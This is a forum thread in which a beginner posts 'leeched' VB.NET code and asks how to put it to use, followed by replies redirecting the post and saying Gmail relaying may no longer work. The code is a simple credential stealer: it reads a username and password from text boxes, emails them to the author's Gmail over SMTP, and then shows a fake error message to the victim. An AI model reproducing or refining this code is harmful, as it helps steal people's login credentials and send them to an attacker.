[HELP!]Code

I dont know what language this is im just a wee newb learning my PHP over there in the corner. and yes it is leeched i was wondering how to put it to use.

If TextBox1.Text = "" Then
MsgBox("Username Is Missing")
If Textbox2.text = "" Then
Msgbox("Password Is Missing")
Else
End If
End if
Dim smtpServer As New SmtpClient()
Dim mail As New MailMessage()
smtpServer.Credentials = New Net.NetworkCredential("Your Gmail", "Your Gmail Password")
'using gmail
smtpServer.Port = 587
smtpServer.Host = "smtp.gmail.com"
smtpServer.EnableSsl = True
mail = New MailMessage()
mail.From = New MailAddress("Your Gmail")
mail.To.Add("Your Gmail")
mail.Subject = "Username: " & TextBox1.Text
mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & textbox2.text
smtpServer.Send(mail)
MsgBox("Any Error You Want Here")

Ctrl+W. Just highlight the code, and press it.

Post this in the VB section, or the PHP/HTML section, please.

It's VB so I will send you there. Bye bye

What do you need it for?

The code is used for sending a email inside of a VB project (software created in VB)

and a few more things, you will not get to far with this code, A. Gmail no longer allows relays and I'm almost 100% sure that port 587 is now blocked by gmail.